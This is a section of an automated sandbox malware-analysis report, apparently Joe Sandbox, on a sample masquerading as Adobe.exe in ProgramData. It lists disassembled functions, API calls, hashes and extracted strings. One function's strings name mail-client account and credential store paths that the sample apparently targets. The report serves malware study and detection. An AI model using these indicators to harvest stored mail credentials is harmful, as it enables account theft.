                                                                                        control_flow_graph 406 10003370-100033b5 call 10003330 call 100037a7 411 10003416-10003419 406->411 412 100033b7-100033c9 406->412 413 10003439-10003442 411->413 414 1000341b-10003428 call 10003790 411->414 412->413 415 100033cb 412->415 418 1000342d-10003436 call 10003330 414->418 417 100033d0-100033e7 415->417 419 100033e9-100033f7 call 10003740 417->419 420 100033fd 417->420 418->413 428 100033f9 419->428 429 1000340d-10003414 419->429 421 10003400-10003405 420->421 421->417 424 10003407-10003409 421->424 424->413 427 1000340b 424->427 427->418 430 10003443-1000344c 428->430 431 100033fb 428->431 429->418 432 10003486-10003496 call 10003774 430->432 433 1000344e-10003455 430->433 431->421 439 10003498-100034a7 call 10003790 432->439 440 100034aa-100034c6 call 10003330 call 10003758 432->440 433->432 435 10003457-10003466 call 1000bbe0 433->435 441 10003483 435->441 442 10003468-10003480 435->442 439->440 441->432 442->441
                                                                                        APIs
                                                                                        • _ValidateLocalCookies.LIBCMT ref: 1000339B
                                                                                        • ___except_validate_context_record.LIBVCRUNTIME ref: 100033A3
                                                                                        • _ValidateLocalCookies.LIBCMT ref: 10003431
                                                                                        • __IsNonwritableInCurrentImage.LIBCMT ref: 1000345C
                                                                                        • _ValidateLocalCookies.LIBCMT ref: 100034B1
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                        • String ID: csm
                                                                                        • API String ID: 1170836740-1018135373
                                                                                        • Opcode ID: 314e045d64bd9dff90e147ebc0021a06731dbc25050b3dab86f6a1545ce1a07e
                                                                                        • Instruction ID: 0a936c430148d26a69835db3fa9f683d01d5328c1142e13f0191aacd949c771e
                                                                                        • Opcode Fuzzy Hash: 314e045d64bd9dff90e147ebc0021a06731dbc25050b3dab86f6a1545ce1a07e
                                                                                        • Instruction Fuzzy Hash: D141D678E042189BEB12CF68C880A9FBBF9EF453A4F10C155E9159F25AD731FA01CB91
                                                                                        Function 1000925D Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                          • Part of subcall function 10009221: _free.LIBCMT ref: 1000924A
                                                                                        • _free.LIBCMT ref: 100092AB
                                                                                          • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                          • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                        • _free.LIBCMT ref: 100092B6
                                                                                        • _free.LIBCMT ref: 100092C1
                                                                                        • _free.LIBCMT ref: 10009315
                                                                                        • _free.LIBCMT ref: 10009320
                                                                                        • _free.LIBCMT ref: 1000932B
                                                                                        • _free.LIBCMT ref: 10009336
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                                        • String ID:
                                                                                        • API String ID: 776569668-0
                                                                                        • Opcode ID: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
                                                                                        • Instruction ID: 62dea9ede071ec04ae7e8d39c2d2a9b8d59ba4565e42afa4a1a73bd13a3591d1
                                                                                        • Opcode Fuzzy Hash: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
                                                                                        • Instruction Fuzzy Hash: 3E118E35548B08FAFA20EBB0EC47FCB7B9DEF04780F400824BA9DB6097DA25B5249751
                                                                                        Function 10008821 Relevance: 9.2, APIs: 6, Instructions: 216COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 488 10008821-1000883a 489 10008850-10008855 488->489 490 1000883c-1000884c call 10009341 488->490 491 10008862-10008886 MultiByteToWideChar 489->491 492 10008857-1000885f 489->492 490->489 500 1000884e 490->500 494 10008a19-10008a2c call 10002ada 491->494 495 1000888c-10008898 491->495 492->491 497 1000889a-100088ab 495->497 498 100088ec 495->498 501 100088ca-100088db call 100056d0 497->501 502 100088ad-100088bc call 1000bf20 497->502 504 100088ee-100088f0 498->504 500->489 506 10008a0e 501->506 516 100088e1 501->516 502->506 515 100088c2-100088c8 502->515 505 100088f6-10008909 MultiByteToWideChar 504->505 504->506 505->506 509 1000890f-1000892a call 10005f19 505->509 510 10008a10-10008a17 call 10008801 506->510 509->506 520 10008930-10008937 509->520 510->494 519 100088e7-100088ea 515->519 516->519 519->504 521 10008971-1000897d 520->521 522 10008939-1000893e 520->522 524 100089c9 521->524 525 1000897f-10008990 521->525 522->510 523 10008944-10008946 522->523 523->506 526 1000894c-10008966 call 10005f19 523->526 527 100089cb-100089cd 524->527 528 10008992-100089a1 call 1000bf20 525->528 529 100089ab-100089bc call 100056d0 525->529 526->510 543 1000896c 526->543 532 10008a07-10008a0d call 10008801 527->532 533 100089cf-100089e8 call 10005f19 527->533 528->532 541 100089a3-100089a9 528->541 529->532 542 100089be 529->542 532->506 533->532 546 100089ea-100089f1 533->546 545 100089c4-100089c7 541->545 542->545 543->506 545->527 547 100089f3-100089f4 546->547 548 10008a2d-10008a33 546->548 549 100089f5-10008a05 WideCharToMultiByte 547->549 548->549 549->532 550 10008a35-10008a3c call 10008801 549->550 550->510
                                                                                        APIs
                                                                                        • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,10006FFD,00000000,?,?,?,10008A72,?,?,00000100), ref: 1000887B
                                                                                        • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,10008A72,?,?,00000100,5EFC4D8B,?,?), ref: 10008901
                                                                                        • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,5EFC4D8B,00000100,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 100089FB
                                                                                        • __freea.LIBCMT ref: 10008A08
                                                                                          • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                                                                                        • __freea.LIBCMT ref: 10008A11
                                                                                        • __freea.LIBCMT ref: 10008A36
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ByteCharMultiWide__freea$AllocateHeap
                                                                                        • String ID:
                                                                                        • API String ID: 1414292761-0
                                                                                        • Opcode ID: bbd44e65680a142b819532ff26adde273e0ccd3bd0c95f1520c1a5c0857fc469
                                                                                        • Instruction ID: 3f57ce737592ef9202bcebfaa3f65c0582e3f3231b4dd00ae19a895c9b397c34
                                                                                        • Opcode Fuzzy Hash: bbd44e65680a142b819532ff26adde273e0ccd3bd0c95f1520c1a5c0857fc469
                                                                                        • Instruction Fuzzy Hash: 4F51CF72710216ABFB15CF60CC85EAB37A9FB417D0F11462AFC44D6148EB35EE509BA1
                                                                                        Function 100015DA Relevance: 9.1, APIs: 6, Instructions: 84stringCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _strlen.LIBCMT ref: 10001607
                                                                                        • _strcat.LIBCMT ref: 1000161D
                                                                                        • lstrlenW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,1000190E,?,?,00000000,?,00000000), ref: 10001643
                                                                                        • lstrcatW.KERNEL32(?,?,?,?,?,?,1000190E,?,?,00000000,?,00000000,?,?,?,00000104), ref: 1000165A
                                                                                        • lstrlenW.KERNEL32(?,?,?,?,?,1000190E,?,?,00000000,?,00000000,?,?,?,00000104,?), ref: 10001661
                                                                                        • lstrcatW.KERNEL32(00001008,?,?,?,?,?,1000190E,?,?,00000000,?,00000000,?,?,?,00000104), ref: 10001686
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: lstrcatlstrlen$_strcat_strlen
                                                                                        • String ID:
                                                                                        • API String ID: 1922816806-0
                                                                                        • Opcode ID: 315c55c979a72bdf3ac51594b752bef976f460307e9923370b73d2b1bd80b905
                                                                                        • Instruction ID: a267a6945d1554df97f4c8e17fbec8689bbb0548aac84132402ab8fad08d9bbc
                                                                                        • Opcode Fuzzy Hash: 315c55c979a72bdf3ac51594b752bef976f460307e9923370b73d2b1bd80b905
                                                                                        • Instruction Fuzzy Hash: 9821A776900204ABEB05DBA4DC85FEE77B8EF88750F24401BF604AB185DF34B94587A9
                                                                                        Function 10001000 Relevance: 9.1, APIs: 6, Instructions: 76stringCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • lstrcatW.KERNEL32(?,?,?,?,?,00000000), ref: 10001038
                                                                                        • lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 1000104B
                                                                                        • lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 10001061
                                                                                        • lstrlenW.KERNEL32(?,?,?,?,?,00000000), ref: 10001075
                                                                                        • GetFileAttributesW.KERNEL32(?,?,?,00000000), ref: 10001090
                                                                                        • lstrlenW.KERNEL32(?,?,?,00000000), ref: 100010B8
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: lstrlen$AttributesFilelstrcat
                                                                                        • String ID:
                                                                                        • API String ID: 3594823470-0
                                                                                        • Opcode ID: c62e9e5fa69f7526a4dcdb62aa87bf44082eca201cfcddb2e536fed9ba73336f
                                                                                        • Instruction ID: f5da6160d3db499da992451a69b84f141dc83571de07cfa19ff2ab3d93a8fd2c
                                                                                        • Opcode Fuzzy Hash: c62e9e5fa69f7526a4dcdb62aa87bf44082eca201cfcddb2e536fed9ba73336f
                                                                                        • Instruction Fuzzy Hash: DB21E5359003289BEF10DBA0DC48EDF37B8EF44294F104556E999931A6DE709EC5CF50
                                                                                        Function 10003856 Relevance: 9.1, APIs: 6, Instructions: 60COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLastError.KERNEL32(?,?,10003518,100023F1,10001F17), ref: 10003864
                                                                                        • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003872
                                                                                        • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 1000388B
                                                                                        • SetLastError.KERNEL32(00000000,?,10003518,100023F1,10001F17), ref: 100038DD
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ErrorLastValue___vcrt_
                                                                                        • String ID:
                                                                                        • API String ID: 3852720340-0
                                                                                        • Opcode ID: 669731f2127195b9a905fed2c89c9d5b837464d933d8447bfa53086d9201cd33
                                                                                        • Instruction ID: 2a33bd680f99e964f7cdf1ea0b0e713dcb61597015083b2077453114c578dac0
                                                                                        • Opcode Fuzzy Hash: 669731f2127195b9a905fed2c89c9d5b837464d933d8447bfa53086d9201cd33
                                                                                        • Instruction Fuzzy Hash: 0F012432608B225EF207D7796CCAA0B2BDDDB096F9B20C27AF510940E9EF219C009300
                                                                                        Function 10005AF6 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLastError.KERNEL32(?,?,10006C6C), ref: 10005AFA
                                                                                        • _free.LIBCMT ref: 10005B2D
                                                                                        • _free.LIBCMT ref: 10005B55
                                                                                        • SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B62
                                                                                        • SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B6E
                                                                                        • _abort.LIBCMT ref: 10005B74
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ErrorLast$_free$_abort
                                                                                        • String ID:
                                                                                        • API String ID: 3160817290-0
                                                                                        • Opcode ID: c9cb188a03aa1811073f11ee06fa520bea6a831bfab7ff5292fc2b03e8e202de
                                                                                        • Instruction ID: 6ab9c425fee0725613b21b3b36aaf5e4259b246f4cabca8c388d0d7fb541d563
                                                                                        • Opcode Fuzzy Hash: c9cb188a03aa1811073f11ee06fa520bea6a831bfab7ff5292fc2b03e8e202de
                                                                                        • Instruction Fuzzy Hash: 8FF0A47A508911AAF212E3346C4AF0F36AACBC55E3F264125F918A619DFF27B9024174
                                                                                        Function 100011EA Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 90COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,?,?,?,100010DF,?,?,?,00000000), ref: 10001E9A
                                                                                          • Part of subcall function 10001E89: lstrcatW.KERNEL32(?,?,?,100010DF,?,?,?,00000000), ref: 10001EAC
                                                                                          • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EB3
                                                                                          • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EC8
                                                                                          • Part of subcall function 10001E89: lstrcatW.KERNEL32(?,100010DF,?,100010DF,?,?,?,00000000), ref: 10001ED3
                                                                                        • GetFileAttributesW.KERNEL32(?,?,?,?), ref: 1000122A
                                                                                          • Part of subcall function 1000173A: _strlen.LIBCMT ref: 10001855
                                                                                          • Part of subcall function 1000173A: _strlen.LIBCMT ref: 10001869
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: lstrlen$_strlenlstrcat$AttributesFile
                                                                                        • String ID: \Accounts\Account.rec0$\Data\AccCfg\Accounts.tdat$\Mail\$\Storage\
                                                                                        • API String ID: 4036392271-1520055953
                                                                                        • Opcode ID: 09c536ecd907401b0aa489f333ca62d314ebad464b807bf11bf7235871964734
                                                                                        • Instruction ID: e2b7c7e1c3038021adfe9ab266432482c710e64fc4cfb1bae4cfd9c1521b4980
                                                                                        • Opcode Fuzzy Hash: 09c536ecd907401b0aa489f333ca62d314ebad464b807bf11bf7235871964734
                                                                                        • Instruction Fuzzy Hash: 4B21D579E142486AFB14D7A0EC92FED7339EF80754F000556F604EB1D5EBB16E818758
                                                                                        Function 10004B39 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,10004AEA,?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000), ref: 10004B59
                                                                                        • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10004B6C
                                                                                        • FreeLibrary.KERNEL32(00000000,?,?,?,10004AEA,?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000,00000001,10002082), ref: 10004B8F
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressFreeHandleLibraryModuleProc
                                                                                        • String ID: CorExitProcess$mscoree.dll
                                                                                        • API String ID: 4061214504-1276376045
                                                                                        • Opcode ID: 497ca4813dea5db040ed96ba3988917c23aad912c76c67efd82f8c60daebc881
                                                                                        • Instruction ID: e6e2f78cdd7cd30bdf2d4d174718ae12991e9b6ae5ca6a82eaba56a43cf4d13d
                                                                                        • Opcode Fuzzy Hash: 497ca4813dea5db040ed96ba3988917c23aad912c76c67efd82f8c60daebc881
                                                                                        • Instruction Fuzzy Hash: C8F03C71900218BBEB11AB94CC48BAEBFB9EF043D1F01416AE909A6164DF309941CAA5
                                                                                        Function 10007153 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetEnvironmentStringsW.KERNEL32 ref: 1000715C
                                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1000717F
                                                                                          • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 100071A5
                                                                                        • _free.LIBCMT ref: 100071B8
                                                                                        • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 100071C7
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                        • String ID:
                                                                                        • API String ID: 336800556-0
                                                                                        • Opcode ID: dbf9df5b4a4e45fd59d7b0ba6c08b1d97dee470f846bf8241c04808ce4e83989
                                                                                        • Instruction ID: fdf90bdbf822fabaf3dd9d310e80898d5fc59248e37e3ebe61ec6e18e74c85b1
                                                                                        • Opcode Fuzzy Hash: dbf9df5b4a4e45fd59d7b0ba6c08b1d97dee470f846bf8241c04808ce4e83989
                                                                                        • Instruction Fuzzy Hash: 6601D872A01225BB73129BBE5C8CDBF2A6DFBC69E0311012AFD0CC7288DB658C0181B0
                                                                                        Function 10005B7A Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLastError.KERNEL32(00000000,?,00000000,1000636D,10005713,00000000,?,10002249,?,?,10001D66,00000000,?,?,00000000), ref: 10005B7F
                                                                                        • _free.LIBCMT ref: 10005BB4
                                                                                        • _free.LIBCMT ref: 10005BDB
                                                                                        • SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10005BE8
                                                                                        • SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10005BF1
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ErrorLast$_free
                                                                                        • String ID:
                                                                                        • API String ID: 3170660625-0
                                                                                        • Opcode ID: 6445a1f563467e3e4669709244547b488691a64b9545451a4f80944232cffe94
                                                                                        • Instruction ID: a404960836b3e2f032ab47abdd1028028b52a365ddf0c47563f665e512f3cffd
                                                                                        • Opcode Fuzzy Hash: 6445a1f563467e3e4669709244547b488691a64b9545451a4f80944232cffe94
                                                                                        • Instruction Fuzzy Hash: 5501F47A108A52A7F202E7345C85E1F3AAEDBC55F37220025FD19A615EEF73FD024164
                                                                                        Function 10001E89 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • lstrlenW.KERNEL32(?,?,?,?,?,100010DF,?,?,?,00000000), ref: 10001E9A
                                                                                        • lstrcatW.KERNEL32(?,?,?,100010DF,?,?,?,00000000), ref: 10001EAC
                                                                                        • lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EB3
                                                                                        • lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EC8
                                                                                        • lstrcatW.KERNEL32(?,100010DF,?,100010DF,?,?,?,00000000), ref: 10001ED3
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: lstrlen$lstrcat
                                                                                        • String ID:
                                                                                        • API String ID: 493641738-0
                                                                                        • Opcode ID: 15c5d9995ac510f09c0b88b7baf044722e7f40351600db373de5a6e0e33856fc
                                                                                        • Instruction ID: f5d9027fafc921fe84ae6627056796c55de3fa1ad923a59450c5185d8ca5453c
                                                                                        • Opcode Fuzzy Hash: 15c5d9995ac510f09c0b88b7baf044722e7f40351600db373de5a6e0e33856fc
                                                                                        • Instruction Fuzzy Hash: D8F082261002207AF621772AECC5FBF7B7CEFC6AA0F04001AFA0C83194DB54684292B5
                                                                                        Function 100091B8 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _free.LIBCMT ref: 100091D0
                                                                                          • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                          • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                        • _free.LIBCMT ref: 100091E2
                                                                                        • _free.LIBCMT ref: 100091F4
                                                                                        • _free.LIBCMT ref: 10009206
                                                                                        • _free.LIBCMT ref: 10009218
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                                        • String ID:
                                                                                        • API String ID: 776569668-0
                                                                                        • Opcode ID: 531e654f2f11120a5df636ecca0a5618a09e043c7f3cd6e1a71cca3ab3857efc
                                                                                        • Instruction ID: a08e021c65853776c99c3fd86fadada58ae96d962e635c5153d22f52a77de1c5
                                                                                        • Opcode Fuzzy Hash: 531e654f2f11120a5df636ecca0a5618a09e043c7f3cd6e1a71cca3ab3857efc
                                                                                        • Instruction Fuzzy Hash: 77F06DB161C650ABE664DB58EAC6C4B7BEDFB003E13608805FC4DD7549CB31FC809A64
                                                                                        Function 10005351 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _free.LIBCMT ref: 1000536F
                                                                                          • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                          • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                        • _free.LIBCMT ref: 10005381
                                                                                        • _free.LIBCMT ref: 10005394
                                                                                        • _free.LIBCMT ref: 100053A5
                                                                                        • _free.LIBCMT ref: 100053B6
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                                        • String ID:
                                                                                        • API String ID: 776569668-0
                                                                                        • Opcode ID: 77e2762e1a20340d72e45a4044f221924c2ac7473818ed27067cb432955df604
                                                                                        • Instruction ID: ba906e9feca9bc6e71cd1aa5ebacb8f64a9f241ffe6b13fedf7f16c4e4854dfa
                                                                                        • Opcode Fuzzy Hash: 77e2762e1a20340d72e45a4044f221924c2ac7473818ed27067cb432955df604
                                                                                        • Instruction Fuzzy Hash: 38F0F478C18934EBF741DF28ADC140A3BB5F718A91342C15AFC1497279DB36D9429B84
                                                                                        Function 10004BDD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleFileNameA.KERNEL32(00000000,C:\ProgramData\Adobe\Adobe.exe,00000104), ref: 10004C1D
                                                                                        • _free.LIBCMT ref: 10004CE8
                                                                                        • _free.LIBCMT ref: 10004CF2
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _free$FileModuleName
